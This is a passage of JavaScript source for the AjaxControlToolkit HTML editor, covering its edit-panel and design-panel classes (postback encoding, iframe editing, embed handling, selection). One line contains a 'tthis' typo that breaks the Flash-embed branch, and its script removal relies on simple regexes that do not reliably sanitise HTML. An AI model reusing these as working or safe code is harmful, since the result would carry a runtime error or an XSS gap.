        this._disposed = false;
        Sys.Application.add_load(this._app_onload$delegate);
        if (Sys && Sys.WebForms && Sys.WebForms.PageRequestManager) {
            this._pageRequestManager = Sys.WebForms.PageRequestManager.getInstance();
            if (this._pageRequestManager) {
                this._partialUpdateEndRequestHandler = Function.createDelegate(this, this._partialUpdateEndRequest);
                this._pageRequestManager.add_endRequest(this._partialUpdateEndRequestHandler);

                this._invokingRequestHandler = Function.createDelegate(this, this._invokingRequest);
                Sys.Net.WebRequestManager.add_invokingRequest(this._invokingRequestHandler);
                this._completedRequestHandler = Function.createDelegate(this, this._completedRequest);
                Sys.Net.WebRequestManager.add_completedRequest(this._completedRequestHandler);
            }
        }
        AjaxControlToolkit.HTMLEditor.addFormOnSubmit(this._onsubmit$delegate, this);
    },

    dispose: function() {
        this._loaded = false;
        this._disposed = true;
        if (this._pageRequestManager) {
            if (this._invokingRequestHandler) {
                this._pageRequestManager.remove_endRequest(this._partialUpdateEndRequestHandler);
                this._partialUpdateEndRequestHandler = null;

                Sys.Net.WebRequestManager.remove_invokingRequest(this._invokingRequestHandler);
                this._invokingRequestHandler = null;
                Sys.Net.WebRequestManager.remove_completedRequest(this._completedRequestHandler);
                this._completedRequestHandler = null;
            }
            this._pageRequestManager = null;
        }

        AjaxControlToolkit.HTMLEditor.removeFormOnSubmit(this._onsubmit$delegate);

        Sys.Application.remove_load(this._app_onload$delegate);
        this.disableToolbars();
        AjaxControlToolkit.HTMLEditor.EditPanel.callBaseMethod(this, "dispose");
    },

    _onsubmit: function(e) {
        if (!this._contentPrepared) {
            this._prepareContentForPostback(this.get_content());
            this._contentPrepared = true;
        }
        return true;
    },

    _invokingRequest: function(sender, args) {
        if (this._contentPrepared) {
            return;
        }

        var webRequest = args.get_webRequest();
        var body = webRequest.get_body();

        // change body here...
        var reg = new RegExp("([\\?&])(" + this.get_contentElement().name + "=)([^&$]*)([&$])", "g");
        this._prepareContentForPostback(this.get_content());
        body = body.replace(reg, "$1$2" + escape(this.get_contentElement().value) + "$4");

        this._contentPrepared = true;
        webRequest.set_body(body);
    },

    _completedRequest: function(sender, args) {
        this._contentPrepared = false;
    },

    _partialUpdateEndRequest: function(sender, args) {
        this._contentPrepared = false;
        if (AjaxControlToolkit.HTMLEditor.isIE && this.__blured) {
            this.__blured = false;
            this.get_activePanel()._focus();
        }
    },

    _app_onload: function(sender, e) {
        if (this.__appLoaded__) return;
        this.__appLoaded__ = true;
        if (this._disposed) {
            return;
        }

        var editPanel = this;
        this._loaded = true;

        this.set_activeMode(parseInt(this.get_activeModeElement().value));

        if (this._cachedToolbarIds != null) {
            this.set_toolbarIds(this._cachedToolbarIds);
            this._cachedToolbarIds = null;
        }

        this._validators = this.get_modePanels()[AjaxControlToolkit.HTMLEditor.ActiveModeType.Html].get_element().Validators;
        this._shouldResize = false;
        if (AjaxControlToolkit.HTMLEditor.isIE && document.compatMode != "BackCompat") {
            this._shouldResize = true;
        }
        if (this._shouldResize) {
            var modePanels = this.get_modePanels();
            var iframePanel = modePanels[AjaxControlToolkit.HTMLEditor.ActiveModeType.Design];
            if (iframePanel == null) {
                iframePanel = modePanels[AjaxControlToolkit.HTMLEditor.ActiveModeType.Preview];
            }
            var htmlPanel = modePanels[AjaxControlToolkit.HTMLEditor.ActiveModeType.Html];
            if (iframePanel != null && htmlPanel != null) {
                var iframePanelElement = iframePanel.get_element();
                iframePanelElement.style.display = "";
                var height = iframePanelElement.offsetHeight;
                var invisible = false;
                var save;
                if (height == 0) {
                    invisible = true;
                    save = AjaxControlToolkit.HTMLEditor.setElementVisibility(iframePanelElement.parentNode);
                    height = iframePanelElement.offsetHeight;
                }
                htmlPanel.get_element().style.height = height + "px";
                if (invisible) {
                    AjaxControlToolkit.HTMLEditor.restoreElementVisibility(save);
                    delete save;
                }
                iframePanelElement.style.display = "none";
            }
        }

        var content = this.get_contentElement().value.replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&quot;/g, "\"").replace(/&amp;/g, "&");
        this.setContent(this._initialCleanUp ? AjaxControlToolkit.HTMLEditor.cleanUp(content.replace(/[\n\r]+/g, " ")) : content);

        this.setAcceptOnPostback();
    },

    _setActive: function() {
        for (var i = 0; i < this.get_toolbars().length; i++) {
            this.get_toolbars()[i].set_activeEditPanel(this, true);
        }
        if (this._eAfter != null) {
            this.raisePropertyChanged("activeMode");
            this.raiseActiveModeChanged(this._eAfter);
            this._eAfter = null;
        }
    },

    _focused: function(prize) {
        if (!(typeof prize != "undefined" && prize)) {
            for (var i = 0; i < this.get_toolbars().length; i++) {
                this.get_toolbars()[i].set_activeEditPanel(this);
            }
        }
        //this.raiseFocused(new Sys.EventArgs());
        AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel = this;
    },

    _really_focused: function() {
        this._focused();
        this.raiseFocused(new Sys.EventArgs());
    },

    updateToolbar: function() {
        this._focused();
    },

    getContent: function() {
        var ret = this.get_activePanel().get_content()
            .replace(/<\/?html(?=\s|>)(?:[^>]*?)>/gi, "")
            .replace(/<\/?head(?=\s|>)(?:[^>]*?)>/gi, "")
            .replace(/<\/?body(?=\s|>)(?:[^>]*?)>/gi, "")
            .replace(/^([\n\r]+)/, "").replace(/([\n\r]+)$/, "");

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            ret = ret.replace(/^<br\s*[\/]*>$/, "");
        }
        return ret;
    },

    setContent: function(content) {
        var temptext = content;
        if (this.get_noScript()) {
            temptext = temptext.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/ig, "");
        }

        temptext = temptext.replace(/<\/?html(?=\s|>)(?:[^>]*?)>/gi, "")
            .replace(/<\/?head(?=\s|>)(?:[^>]*?)>/gi, "")
            .replace(/<\/?body(?=\s|>)(?:[^>]*?)>/gi, "")
            .replace(/^([\n\r]+)/, "").replace(/([\n\r]+)$/, "");

        this._prepareContentForPostback(temptext);

        this.get_activePanel().set_content(temptext);
        this._validate(null, temptext);
    },

    _validate: function(event, content) {
        var validators = this._validators;
        if (validators != null && typeof validators != "undefined") {
            this._contentForValidation = content;
            try {
                for (var i = 0; i < validators.length; i++) {
                    window.ValidatorValidate(validators[i], null, event);
                }
                window.ValidatorUpdateIsValid();
            } catch (ex) { }
            this._contentForValidation = null;
        }
    },

    _prepareContentForPostback: function(value) {
        this.get_contentElement().value = value.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/\"/g, "&quot;");
    },

    _getContentForPostback: function() {
        return this.get_contentElement().value.replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&quot;/g, "\"").replace(/&amp;/g, "&");
    },
    
    _setMode: function(mode) {
        var activePanel = this.get_activePanel();
        if (!activePanel._activated) {
            var editPanel = this;
            setTimeout(function() { editPanel._setMode(mode); }, 10);
            return false;
        }
        var content = this.get_content();
        if (AjaxControlToolkit.HTMLEditor.isOpera) {
            content = content.replace(/\r/ig, "");
        }

        if (this._shouldResize && mode == AjaxControlToolkit.HTMLEditor.ActiveModeType.Html) {
            var iframePanel = this.get_activePanel();
            var htmlPanel = this.get_modePanels()[AjaxControlToolkit.HTMLEditor.ActiveModeType.Html];
            if (iframePanel != null && htmlPanel != null) {
                var iframePanelElement = iframePanel.get_element();
                var height = iframePanelElement.offsetHeight;
                var invisible = false;
                var save;
                if (height == 0) {
                    invisible = true;
                    save = AjaxControlToolkit.HTMLEditor.setElementVisibility(iframePanelElement.parentNode);
                    height = iframePanelElement.offsetHeight;
                }
                htmlPanel.get_element().style.height = height + "px";
                if (invisible) {
                    AjaxControlToolkit.HTMLEditor.restoreElementVisibility(save);
                    delete save;
                }
            }
        }

        this.disableToolbars(mode);

        activePanel._deactivate();

        this._activeMode = mode;

        this.setContent(content);
        return true;
    },

    disableToolbars: function(mode) {
        for (var i = 0; i < this.get_toolbars().length; i++) {
            var toolbar = this.get_toolbars()[i];
            if (toolbar._loaded) {
                toolbar.disable(mode);
            }
        }
    },

    openWait: function() {
    },

    closeWait: function() {
    }
}

AjaxControlToolkit.HTMLEditor.EditPanel.registerClass("AjaxControlToolkit.HTMLEditor.EditPanel", Sys.UI.Control);
��Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.DesignPanel = function(element) {
    AjaxControlToolkit.HTMLEditor.DesignPanel.initializeBase(this, [element]);
    this._doc = null;
    this._updated_now = false;
    this._updateTimer = null;
    this._popup = null;
    this._contextElement = null;
    this._a_prize = false;
    this.__stack = null;
    this._StyleForTyping = null;
    this.isWord = false;
    this.isPlainText = false;
    this.dfltBlockElement = "P";
    this._FontNotSet = true;
    this._design_timer1 = null;
   

    this._events$delegate = Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.DesignPanelEventHandler);
    this._blur$delegate = Function.createDelegate(this, this._blur);
    this._focus$delegate = Function.createDelegate(this, this._focus_event);
}

AjaxControlToolkit.HTMLEditor.DesignPanel.prototype = {
    initialize: function() {
        AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(this, "initialize");
    },

    dispose: function() {
        AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(this, "dispose");
    },

    _activate: function(value) {
        AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(this, "_activate");
        this._wasFocused = false;
        this._initIframe(value);
        this._onDocumentLoaded();
    },

    _deactivate: function() {
        this._deactivateCommon();
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            this._doc.open();
            this._doc.write("");
            this._doc.close();
            this.get_element().src = "javascript:false;";
        }
        this._doc = null;
        AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(this, "_deactivate");
    },

    _deactivateCommon: function() {
        this._editPanel.__blured = false;
        var aList = this._doc.body.getElementsByTagName("IMG");

        for (var i = 0; i < aList.length; i++) {
            if (aList[i].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute) && aList[i].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute).length > 0) {
                try {
                    if (AjaxControlToolkit.HTMLEditor.isIE) {
                        $removeHandler(aList[i], "dragstart", AjaxControlToolkit.HTMLEditor.stopDrag);
                    } else {
                        $removeHandler(aList[i], "draggesture", AjaxControlToolkit.HTMLEditor.stopDrag);
                    }
                } catch (e) { }
            }
        }

        AjaxControlToolkit.HTMLEditor._removeEvents(this._doc, ["keydown", "keypress", "mousedown", "mouseup", "dblclick"], this._events$delegate);
        AjaxControlToolkit.HTMLEditor._removeEvents(this.get_element().contentWindow, ["blur"], this._blur$delegate);
        AjaxControlToolkit.HTMLEditor._removeEvents(this.get_element().contentWindow, ["focus"], this._focus$delegate);
    },

    _initIframe: function(value) {
        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            this._savedValue = value;
            this._absAndFixedParents = this._getAbsAndFixedParents();
        }
        var str = AjaxControlToolkit.HTMLEditor.Trim(this._prepareContent(value));
        this._doc = this.get_element().contentWindow.document;

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            this._doc.designMode = "on";
        }

        this._doc.open();
        this._doc.write("<html><head><link rel=\"stylesheet\" href=\"" + this._editPanel.get_documentCssPath() + "\" media=\"all\" /><link rel=\"stylesheet\" href=\"" + this._editPanel.get_designPanelCssPath() + "\" media=\"all\" /></head><body>" + str + "</body></html>");
        this._doc.close();
        this._doc.id = "EditorDocument";

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            this._doc.body.contentEditable = true;
            this._tryForward = true;
        }
    },

    _blur: function(event) {
        this._editPanel.__blured = true;
        if (!AjaxControlToolkit.HTMLEditor.isIE && this._design_timer1 != null) {
            clearTimeout(this._design_timer1);
            this._design_timer1 = null;
        }
        if (!this.isPopup) {
            this._editPanel._validate(event, null);
        }
        return true;
    },

    _focus_event: function() {
        this._editPanel.__blured = false;
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            this._really_focused();
        }
        else {
            var panel = this;
            AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel = this._editPanel;
            if (this._design_timer1 == null) {
                this._design_timer1 = setTimeout(function() { panel._really_focused(); panel._design_timer1 = null; }, 0);
            }
        }
        return true;
    },

    _getAbsAndFixedParents: function() {
        var el = this.get_element();
        var str = "";
        while (el != null && el.tagName && el.tagName.toLowerCase() != "body") {
            str += el.tagName;
            if (el.style.position == "absolute" || el.style.position == "fixed") {
                str += ": " + el.style.position;
            }
            str += "\n";
            el = el.parentNode;
        }
        return str;
    },

    _onDocumentLoaded: function() {
        var editor = this;
        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            var absAndFixedParents = this._getAbsAndFixedParents();
            if (absAndFixedParents != this._absAndFixedParents) {
                this._initIframe(this._savedValue);
                setTimeout(function() { editor._onDocumentLoaded() }, 10);
                return;
            }
        }

        try {
            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                this._doc.queryCommandValue("forecolor");
                if (AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera) {
                    if (!AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element())) {
                        setTimeout(function() { editor._onDocumentLoaded() }, 10);
                        return;
                    }
                }
            }
            var temp = editor._doc.body.innerHTML;
        } catch (e) {
            setTimeout(function() { editor._onDocumentLoaded() }, 10); // waiting for loading
            return;
        }

        this._afterBodyIsFormed();

        setTimeout(function() { editor._activateFinished(); if (AjaxControlToolkit.HTMLEditor.isIE && !editor._editPanel.get_autofocus()) { editor._getSelection().empty(); } }, 0);
    },

    _afterBodyIsFormed: function() {
        var editor = this;

        AjaxControlToolkit.HTMLEditor._addEvents(this._doc, ["keydown", "keypress", "mousedown", "mouseup", "dblclick"], this._events$delegate);
        AjaxControlToolkit.HTMLEditor._addEvents(this.get_element().contentWindow, ["blur"], this._blur$delegate);
        AjaxControlToolkit.HTMLEditor._addEvents(this.get_element().contentWindow, ["focus"], this._focus$delegate);

        AjaxControlToolkit.HTMLEditor.inspectForShadows(editor._doc.body);

        var body = this._doc.body;

        if (body.childNodes.length == 1 && body.firstChild.tagName && body.firstChild.tagName.toUpperCase() == "DIV" &&
                body.firstChild.style.cssText.length > 0 && body.firstChild.style.direction.length > 0 &&
                AjaxControlToolkit.HTMLEditor.getStyle(body.firstChild, "position") != "absolute") {

            body.style.cssText = body.firstChild.style.cssText;
            var temp = body.firstChild;

            while (temp.firstChild) body.insertBefore(temp.firstChild, temp);
            body.removeChild(temp);
        }

        editor._clearP();
    },

    _getContent: function() {
        if (this._popup != null) {
            if (typeof this._popup._forceImClose == "function") {
                var func = this._popup._forceImClose;
                func(this._popup._iframe.contentWindow);
            }
        }

        this._clearP();
        var temp;

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            AjaxControlToolkit.HTMLEditor.spanJoiner(this._doc.body, this._doc);
            temp = AjaxControlToolkit.HTMLEditor.getHTML(this._doc.body, false, true);

            temp = temp.replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig, "$1&nbsp;$3")
                .replace(/(<td[^>]*?>)\s*(&nbsp;)\s*(<\/td[^>]*?>)/ig, "$1<br/>$3")
                .replace(/(<p[^>]*?>)\s*(&nbsp;)\s*(<\/p[^>]*?>)/ig, "$1<br/>$3");
            temp = ((this._doc.body.style.cssText.length > 0) ? "<div style=\"" + this._doc.body.style.cssText.replace("\"", "'") + "\">" : "") + temp + ((this._doc.body.style.cssText.length > 0) ? "</div>" : "");

            if (this._editPanel.get_noScript()) {
                temp = temp.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/gi, "");
            }

            if (/<embed/ig.test(temp)) {
                temp = temp.replace(/(<embed(?:.*?))(\sloop=\"true\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(\splay=\"true\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(\sbgcolor=\"\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(\sscale=\"\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(\shspace=\"0\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(\svspace=\"0\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(\swmode=\"[^\"]+\")((?:.*?)>)/ig, "$1$3")
                    .replace(/(<embed(?:.*?))(pseudomode=)(\"[^\"]*\")((?:.*?)>)/ig, "$1wmode=$3$4")
                    .replace(/(<embed(?:.*?))(\swmode=\"\")((?:.*?)>)/ig, "$1$3");
            }

            var nnreg = new RegExp("(<[/]?)(teo" + AjaxControlToolkit.HTMLEditor.smartClassName + ":)", "ig");
            temp = temp.replace(nnreg, "$1");
        } else {
            var trg = this._doc.createElement("DIV");
            var scriptRecover = new AjaxControlToolkit.HTMLEditor.DesignPanel.ScriptRecover();

            trg.style.cssText = this._doc.body.style.cssText;
            if (!this._editPanel.get_noScript()) {
                this._doc.body.innerHTML.replace(/<script(?:[^>]*?)>(.*?)<\/script(?:[^>]*?>)/gi, function(p0, p1) { return scriptRecover.regReplScript1(p0, p1); });
            }

            trg.innerHTML = AjaxControlToolkit.HTMLEditor.Trim(this._doc.body.innerHTML);

            var tempCollection = trg.getElementsByTagName("IMG");
            var imgCollection = [];
            for (var i = 0; i < tempCollection.length; i++) imgCollection.push(tempCollection[i]);

            for (var j = 0; j < imgCollection.length; j++) {
                var img = imgCollection[j];
                var attr;

                attr = img.getAttribute("dummytag");
                if (attr && attr.length > 0 && attr.toLowerCase() == "embed") {
                    var src = img.getAttribute("dummysrc");
                    var bgcolor = img.getAttribute("dummybgcolor");
                    var wmode = img.getAttribute("pseudomode");
                    var attrs = img.attributes;
                    var embed = this._doc.createElement("EMBED");

                    embed.src = src;
                    embed.width = img.width;
                    embed.height = img.height;

                    if (bgcolor && bgcolor.length > 0) {
                        bgcolor = AjaxControlToolkit.HTMLEditor.tryReplaceRgb(bgcolor);
                        embed.setAttribute("bgcolor", bgcolor);
                    }

                    if (wmode && wmode.length > 0) {
                        embed.setAttribute("wmode", wmode);
                    }

                    for (var i = 0; i < attrs.length; ++i) {
                        var a = attrs.item(i);
                        if (!a.specified) continue;

                        var name = a.name.toLowerCase();
                        var value = a.value;

                        if (name == "dummytag" || name == "dummysrc" ||
                           name == "dummybgcolor" || name == "style" ||
                           name == "wmode" || name == "pseudomode" ||
                           name == "src")
                            continue;

                        if (name == "loop" && value == "true") continue;
                        if (name == "play" && value == "true") continue;
                        if (name == "hspace" && value == "0") continue;
                        if (name == "vspace" && value == "0") continue;
                        if (name == "scale" && value.length == 0) continue;
                        if (name == "align" && value.length == 0) continue;

                        embed.setAttribute(name, value);
                    }

                    if (img.style.width && img.style.width.length > 0) embed.style.width = img.style.width;
                    if (img.style.height && img.style.height.length > 0) embed.style.height = img.style.height;

                    img.parentNode.insertBefore(embed, img);
                    img.parentNode.removeChild(img);
                }
            }

            AjaxControlToolkit.HTMLEditor.spanJoiner(trg, this._doc);

            temp = AjaxControlToolkit.HTMLEditor.getHTML(trg, (trg.style.cssText.length > 0) ? true : false, true);
            if (!this._editPanel.get_noScript()) {
                temp = temp.replace(/(<script(?:[^>]*?)>)(.*?)(<\/script(?:[^>]*?)>)/gi, function(p0, p1, p2, p3) { return scriptRecover.regReplFromScript1(p0, p1, p2, p3); });
            } else {
                temp = temp.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/gi, "");
            }

            delete trg;
        }

        temp = AjaxControlToolkit.HTMLEditor.brXHTML(temp.replace(/^([\n|\r]+)/, ""));
        if (this._editPanel.get_noUnicode()) {
            temp = temp.replace(/([\u0080-\uFFFF])/g, function(p0, p1) { return "&#" + p1.charCodeAt(0).toString(10) + ";"; });
        }
        if (AjaxControlToolkit.HTMLEditor.Trim(temp) == "<br />") {
            temp = "";
        }
        return temp;
    },

    _setContent: function(value) {
        //        this._deactivate();
        //        this._editPanel.disableToolbars();
        //        this.set_content(value);
        this._deactivateCommon();
        var str = AjaxControlToolkit.HTMLEditor.Trim(this._prepareContent(value));
        this._doc.open();
        this._doc.write("<html><head><link rel=\"stylesheet\" href=\"" + this._editPanel.get_documentCssPath() + "\" media=\"all\" /><link rel=\"stylesheet\" href=\"" + this._editPanel.get_designPanelCssPath() + "\" media=\"all\" /></head><body>" + str + "</body></html>");
        this._doc.close();

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            this._doc.body.contentEditable = true;
            this._tryForward = true;
        }

        this._afterBodyIsFormed();
        if (this._editPanel.get_autofocus()) {
            this._focus();
        }
        if (AjaxControlToolkit.HTMLEditor.isIE && !this._editPanel.get_autofocus()) {
            this._getSelection().empty();
        }
    },

    _focus: function(prize) {
        this.focusEditor();
        this._focused(prize);
    },

    focusEditor: function() {
        try {
            this.get_element().contentWindow.focus();
        } catch (e) { }

        if (!this._wasFocused) {
            this._wasFocused = true;
            if (!this._editPanel.get_startEnd()) {
                this._setToEnd();
            }
        }
    },

    _prepareContent: function(value) {
        var temptext = value;

        temptext = temptext.replace(/<object(?:[^>]*?)>(?:[^\u0000]*?)(<embed(?:[^>]*?)>)(?:[^\u0000]*?)<\/object(?:[^>]*?)>/gi, "$1");

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            temptext = AjaxControlToolkit.HTMLEditor.Trim(temptext.replace(/([\n\r]+<)/g, "<").replace(/([^>])([\n\r]+)([^<])/g, "$1 $3"))
                .replace(/(&amp;)/g, "&amp;amp;")
                .replace(/<br\s*[\/]*>\s*<\/td>/ig, "</td>")
                .replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig, "$1&nbsp;$3")
                .replace(/(<p[^>]*?>)\s*(<br[^>]*?>)\s*(<\/p[^>]*?>)/ig, "$1&nbsp;$3");

            if (/<embed/ig.test(temptext)) {
                temptext = temptext.replace(/(<embed(?:.*?))(wmode=)(\"[^\"]*\")((?:.*?)>)/ig, "$1pseudomode=$3$4")
                    .replace(/(<embed)([^>]*?>)/ig, "$1 wmode=\"transparent\"$2");
            }

            temptext = temptext.replace(/&amp;/ig, "&");
            return temptext;
        } else {
            var scriptRecover = new AjaxControlToolkit.HTMLEditor.DesignPanel.ScriptRecover();
            var src = document.createElement("DIV");

            if (!this._editPanel.get_noScript()) {
                temptext.replace(/<script(?:[^>]*?)>(.*?)<\/script(?:[^>]*?>)/gi, function(p0, p1) { return scriptRecover.regReplScript1(p0, p1); });
            }

            src.innerHTML = AjaxControlToolkit.HTMLEditor.Trim(temptext.replace(/([^>])([\n\r]+)([^<])/g, "$1 $3"));

            var tempCollection = src.getElementsByTagName("EMBED");

            var embedCollection = [];
            for (var i = 0; i < tempCollection.length; i++) embedCollection.push(tempCollection[i]);

            for (var j = 0; j < embedCollection.length; j++) {
                var embed = embedCollection[j];
                var img = document.createElement("IMG");
                var attrs = embed.attributes;

                img.src = this._editPanel.get_imagePath_1x1();
                img.setAttribute("dummytag", "embed");

                for (var i = 0; i < attrs.length; ++i) {
                    var a = attrs.item(i);
                    if (!a.specified) continue;

                    var name = a.name.toLowerCase();
                    var value = a.value;

                    if (name == "src") name = "dummysrc";
                    else
                        if (name == "bgcolor") name = "dummybgcolor";
                    else
                        if (name == "wmode") name = "pseudomode";

                    img.setAttribute(name, value);
                }

                img.style.cssText = "border: 1px dotted #000000; background-image: url('" + (img.getAttribute("type").toLowerCase() == "application/x-mplayer2" ? this._editPanel.get_imagePath_media() : tthis._editPanel.get_imagePath_flash()) + "'); background-position: center; background-repeat: no-repeat; background-color: #c0c0c0;";

                if (embed.style.width && embed.style.width.length > 0) img.style.width = embed.style.width;
                if (embed.style.height && embed.style.height.length > 0) img.style.height = embed.style.height;

                embed.parentNode.insertBefore(img, embed);
                embed.parentNode.removeChild(embed);
            }

            AjaxControlToolkit.HTMLEditor.spanJoiner(src, document);

            temptext = AjaxControlToolkit.HTMLEditor.Trim(AjaxControlToolkit.HTMLEditor.getHTML(src, false, true));
            if (!this._editPanel.get_noScript()) {
                temptext = temptext.replace(/(<script(?:[^>]*?)>)(.*?)(<\/script(?:[^>]*?)>)/gi, function(p0, p1, p2, p3) { return scriptRecover.regReplFromScript1(p0, p1, p2, p3); });
            }

            delete src;
            delete scriptRecover;
            temptext = AjaxControlToolkit.HTMLEditor.brXHTML(temptext);
            if (temptext.length == 0) {
                temptext = "<br/>";
            }
            return temptext;
        }
    },

    _clearP: function() {
        try {
            var el = this._doc.body;

            if (el.firstChild)
                if (el.firstChild.nodeType == 3) {
                var str = AjaxControlToolkit.HTMLEditor.Trim("" + el.firstChild.data + "");

                if (str.length == 0)
                    el.removeChild(el.firstChild);
                else
                    if (str != ("" + el.firstChild.data + ""))
                    el.firstChild.data = str;
            }

            if (AjaxControlToolkit.HTMLEditor.isIE) {
                if (el.childNodes.length == 1) {
                    el = el.firstChild;

                    if (el.nodeType == 1) {
                        var elTagName = el.tagName.toLowerCase();
                        if (elTagName == "p" || elTagName == "ul" || elTagName == "ol") {
                            var needDel = false;
                            var list = (elTagName == "ul" || elTagName == "ol");

                            function checkInner(elem) {
                                var ret = false;
                                if (elem.nodeType == 1) {
                                    var tagName = elem.tagName.toUpperCase();
                                    if (!(list && tagName == "LI"))
                                        if (AjaxControlToolkit.HTMLEditor.isRestricted(elem) || tagName == "IMG" || tagName == "IFRAME" || tagName == "EMBED" || tagName == "SCRIPT") return true;
                                    if (elem.childNodes.length > 1) return true;
                                    if (elem.childNodes.length == 0) return false;
                                    ret |= checkInner(elem.firstChild);
                                } else {
                                    if (elem.nodeType == 3) {
                                        ret |= true;
                                    }
                                }
                                return ret;
                            }

                            if (el.childNodes.length == 1) {
                                if (!checkInner(el.firstChild)) {
                                    el.removeChild(el.firstChild); needDel = true;
                                }
                            }

                            if (needDel || el.parentNode.innerHTML.toLowerCase() == "<p>&nbsp;</p>") this._doc.body.removeChild(el);
                        }
                    }
                }
            }
        } catch (e) { }
    },

    isControl: function() {
        try {
            var sel = this._getSelection();

            if (AjaxControlToolkit.HTMLEditor.isIE) {
                if (sel.type.toLowerCase() == "control") {
                    return true;
                } else {
                    return false;
                }
            } else {
                var range = this._createRange(sel);
                var parent = this._getParent(range);

                if (parent.nodeType != 3 && range.startContainer == range.endContainer) {
                    if (!parent.tagName) {
                        return false;
                    }

                    if (range.startContainer.childNodes.item(range.startOffset) == null) {
                        return false;
                    }

                    if (range.startOffset == range.endOffset &&
                    range.startContainer.childNodes.item(range.startOffset).tagName &&
                    (range.startContainer.childNodes.item(range.startOffset).tagName.toUpperCase() == "BR" ||
                    AjaxControlToolkit.HTMLEditor.isStyleTag(range.startContainer.childNodes.item(range.startOffset).tagName))
                    ) {
                        return false;
                    }

                    if (parent.tagName.toUpperCase() == "BODY" && range.startOffset == 0 &&
                    range.endOffset > 0 && range.endOffset == parent.childNodes.length) {
                        return false;
                    }

                    if (range.startOffset == range.endOffset && range.startContainer.childNodes.item(range.startOffset).nodeType == 3) {
                        return false;
                    }

                    return true;
                }
                else {
                    return false;
                }
            }
        }
        catch (e) {
            return true;
        }
    },

    isPopup: function() {
        return (this._popup != null);
    },

    _getSelection: function() {
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            var sel = this._doc.selection;
            return sel;
        } else {
            this.focusEditor();

            var sel;
            var range;
            var el;
            var contentWindow = this.get_element().contentWindow;
            sel = contentWindow.getSelection();
            range = this._createRange(sel);
            el = range.startContainer;
            try {
                while (el && el.nodeType) {
                    el = el.parentNode;
                }
            } catch (e) {
                this._removeAllRanges(sel);
                range = this._createRange(sel);
                range.setStart(this._saved_startContainer, this._saved_startOffset);
                range.setEnd(this._saved_startContainer, this._saved_startOffset);
                this._selectRange(sel, range);
                sel = contentWindow.getSelection();
            }
            return sel;
        }
    },

    _createRange: function(sel) {
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            if (typeof sel == "undefined") {
                return this._doc.body.createTextRange();
            } else {
                return sel.createRange();
            }
        } else {
            this.focusEditor();
            if (typeof sel == "undefined") {
                return this._doc.createRange();
            } else {
                try {
                    var r = sel.getRangeAt(0);
                    return r;
                }
                catch (e) {
                    return this._doc.createRange();
                }
            }
        }
    },

    toEndOfProtected: function() {
        var editor = this;
        var sss = this._getSelection();
        var range;
        try {
            range = this._createRange(sss);
        } catch (ex) {
            return false;
        }
        var el;
        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            el = AjaxControlToolkit.HTMLEditor.contentEditable(range.startContainer);
            if (el == null) {
                el = AjaxControlToolkit.HTMLEditor.contentEditable(range.endContainer);
            }
        } else {
            el = AjaxControlToolkit.HTMLEditor.contentEditable(AjaxControlToolkit.HTMLEditor.getSelParent(editor));
        }

        if (AjaxControlToolkit.HTMLEditor.isIE && el != null) {
            try { range.remove(el); } catch (e) { }
            range = editor._doc.body.createControlRange();
            range.add(el);
            range.select();
        } else {
            if (!AjaxControlToolkit.HTMLEditor.isIE && el != null) {
                var sel = editor._getSelection();
                var tempText;

                if (el.nextSibling != null && el.nextSibling.nodeType == 3) {
                    tempText = el.nextSibling;
                } else {
                    tempText = editor._doc.createTextNode("");

                    if (el.nextSibling != null) {
                        el.parentNode.insertBefore(tempText, el.nextSibling);
                    } else {
                        el.parentNode.appendChild(tempText);
                    }
                }

                editor._removeAllRanges(sel);
                var range = editor._createRange(sel);
                range.setStart(tempText, 0);
                range.setEnd(tempText, 0);
                editor._selectRange(sel, range);
            }
        }
        return true;
    },

    _commonPaste: function(ev) {
        var editor = this;

        this._saveContent();

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            this.openWait();
            setTimeout(function() { editor._paste(!editor._editPanel.get_noPaste()); editor.closeWait(); }, 0)
            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
        }
        else {
            if (!this.isPlainText && !this.isWord && !this._editPanel.get_noPaste()) {
                setTimeout(function() {
